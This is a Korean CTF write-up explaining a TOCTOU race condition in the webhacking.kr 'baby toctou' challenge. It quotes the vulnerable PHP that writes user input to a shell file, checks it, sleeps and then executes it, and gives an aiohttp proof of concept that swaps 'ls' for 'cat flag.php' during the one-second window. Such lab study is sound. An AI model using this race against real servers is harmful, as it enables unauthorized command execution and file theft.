[TOCTOU] Mama 나는 TOCTOU가 어떻게 작동하는지 알아요!

[TOCTOU] Mama 나는 TOCTOU가 어떻게 작동하는지 알아요!

태그
web
cyber security
생성 일시
Jul 12, 2026 05:32 PM
최종 편집 일시
Last updated July 12, 2026
Date
Video preview
동영상은 flag와 관련있다.

서론

TOCTOU(Time-Of-Check to Time-Of-Use)는 레이스 컨디션 공격의 한 종류다. 이름 그대로 어떤 대상을 검사한 시점과, 그 대상을 실제로 사용하는 시점 사이의 시간차를 노린다.
전형적인 흐름은 다음과 같다.
  1. 파일이 안전한지 검사한다.
  1. 검사 결과를 바탕으로 작업을 준비한다.
  1. 파일을 실제로 열거나 실행한다.
문제는 1번과 3번 사이에 아무리 짧더라도 시간차가 존재한다는 점이다. 공격자가 그 틈에 파일을 바꿔치기하면, 프로그램은 자신이 검사했던 대상이 아니라 검사 이후 변경된 대상을 사용하게 된다. 아래 코드를 보자.
<?php // system($_GET['q']); if(!preg_match('/^[a-f0-9]+$/',$_COOKIE['baby_toctou'])){ $newCookie = uniqid().rand(1,999999999); setcookie("baby_toctou",$newCookie); $_COOKIE['baby_toctou'] = $newCookie; } $cmd = $_GET['q']; $myfile = fopen("user/{$_COOKIE['baby_toctou']}.sh", "w") or die("Unable to open file!"); fwrite($myfile, $cmd); fclose($myfile); if(($cmd === "ls") || ($cmd === "cat api.php") || ($cmd === "cat index.php")){ // valid check sleep(1); // my server is small and weak system("sh ./user/{$_COOKIE['baby_toctou']}.sh"); } else{ echo <<<HELP only "ls", "cat api.php", "cat index.php" allowed HELP; } ?>
출처: webhacking.kr:10019 (baby toctou🍼)

코드 분석

이 코드는 baby_toctou 쿠키값을 기준으로 쉘 파일을 만든 뒤, 사용자의 입력을 검증해 ls, cat api.php, cat index.php만 허용한다.
if(($cmd === "ls") || ($cmd === "cat api.php") || ($cmd === "cat index.php")) ...
이때 {$_COOKIE['baby_toctou']}.sh 파일을 읽고 쓰는 흐름을 유심히 살펴볼 필요가 있다.
우선 아래와 같이 평범하게 쓰기(w) 모드로 쉘 파일을 생성한다.
$myfile = fopen("user/{$_COOKIE['baby_toctou']}.sh", "w") or die("Unable to open file!");
그 뒤 $cmd 변수의 값을 쉘 파일에 집어넣는다.
fwrite($myfile, $cmd);
그렇다면 위험한 명령어(cat flag.phpls를 통해 존재 자체는 확인 가능)를 보내면 어떻게 될까? 놀랍게도 아직 검증이 이루어지지 않았음을 명심해야 한다. 검증은 이후에 이루어진다.
검증하는 동안 무책임한 1초의 휴식(sleep(1);)을 가진 뒤 만들어 뒀던 쉘을 실행한다.
system("sh ./user/{$_COOKIE['baby_toctou']}.sh");
자, 이제 누가 봐도 저 황금 같은 1초 동안 공격을 수행해야 한다는 것을 눈치챌 수 있다.

무엇을 바꿔치기할 것인가

이미 서버로 쿠키값과 명령어를 보내놓았는데, 중간에 무엇을 변경할 수 있을까? 여기서 많은 의문이 들 수 있다. 하지만 곰곰이 생각해보면 바꿀 수 있는 것은 딱 하나다. 바로 baby_toctou 쿠키값을 이름으로 사용하는 쉘 파일이다. 쉘 파일의 내용은 사용자의 쿼리에 따라 바뀐다. 그리고 어떤 요청이 if문을 통과했다면, 1초 뒤 해당 파일은 확정적으로 실행된다. 즉, baby_toctou 쿠키를 고정한 상태로 요청을 여러 번 보내면 동일한 쉘 파일의 내용을 계속 바꿀 수 있다. 그렇다면, 어떤 순서로 요청을 보내야 허용되지 않은 명령어가 실행될까? 답은 생각보다 간단하다.

공격 순서

우선 if문을 통과해야 쉘 파일이 실행되므로, 정상 요청을 먼저 보낸다.
r1 = session.get( url=BASE_URL, params={"q": "ls"}, cookies={"baby_toctou": baby_toctou}, )
이 요청은 쉘 파일에 ls를 기록한 뒤 검증을 통과하고, sleep(1)에서 1초 동안 대기한다.
그 1초 사이에 동일한 쿠키값으로 두 번째 요청을 보낸다.
r2 = session.get( url=BASE_URL, params={"q": "cat flag.php"}, cookies={"baby_toctou": baby_toctou}, )
이 요청은 동일한 쉘 파일을 w 모드로 열어 기존의 ls를 지우고, 그 자리에 cat flag.php를 기록한다.
물론 두 번째 요청은 검증을 통과하지 못한다. 하지만 실패해도 상관없다. 왜냐하면 r1은 이미 검증을 통과했고, 1초 뒤 쉘 파일을 실행할 것이기 때문이다. r2의 역할은 명령어를 실행하는 것이 아니라, r1이 실행할 쉘 파일의 내용을 바꾸는 것이다.
파이썬의 requests는 동기 요청이기 때문에, 1초를 정직하게 기다린다. 이를 해결하기 위해 aiohttp 기반 비동기 요청을 구성했다.

PoC

import asyncio import aiohttp BASE_URL = "<URL>" baby_toctou = "<yr cookie>" async def main(): async with aiohttp.ClientSession() as session: r1 = session.get(url=BASE_URL, params={"q":"ls"}, cookies={"<yr cookie>":baby_toctou} ) r2 = session.get(url=BASE_URL, params={"q":"cat flag.php"}, cookies={"<yr cookie>":baby_toctou} ) r1, r2 = await asyncio.gather(r1, r2) print(await r1.text()); asyncio.run(main())